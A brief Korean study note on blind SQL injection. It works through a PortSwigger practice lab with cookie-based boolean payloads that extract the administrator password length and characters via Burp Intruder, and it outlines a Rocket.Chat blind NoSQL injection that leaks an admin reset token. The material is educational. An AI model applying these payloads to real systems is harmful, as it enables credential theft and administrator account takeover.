1. Blind SQL Injection 관련 PortSwigger 문제 풀어보기

1. Burp Suite 이용해 cookie 값 확인하기

=>TrackingId 확인 가능.
- TrackingId=xyz 'AND' 1'='1 아용해서 response 확인하기

- TrackingId=xyz 'AND' 1'='2

- TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a 넣어서 password 길이 확인하기

=> 숫자를 조정하며 response 확인하면서 password의 길이 파악하기
password길이는 20
4.(SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a를 Intruder 기능 이용해 패스워드 확인하기.

2. Blind SQL Injection 실제 oneday 취약점 사례
: Rocket.Chat의 3.18.5, 3.0.5 버전
- 일반 사용자가 로그인 시에, admin reset token에 접근 가능하며 admin 사용자의 새 비밀번호를 설정할 수 있다.
- 방법
(1) 낮은 신뢰 사용자로 로그인
(2) 스크립트에 rc_uid와 rc_token 복사
(3) 스크립트에서 사용자가 찾을 수 있는 admin 이메일 비밀번호를 요청함.
(4) python script에 reset token을 받기위해 "blind no SQL Injection" 실행
- 영향
: 공격자가 MongoDB를 팢을 수 있으며, 메시지 데이터베이스에서 사용자가 저장한 비밀번호 찾을 수 있음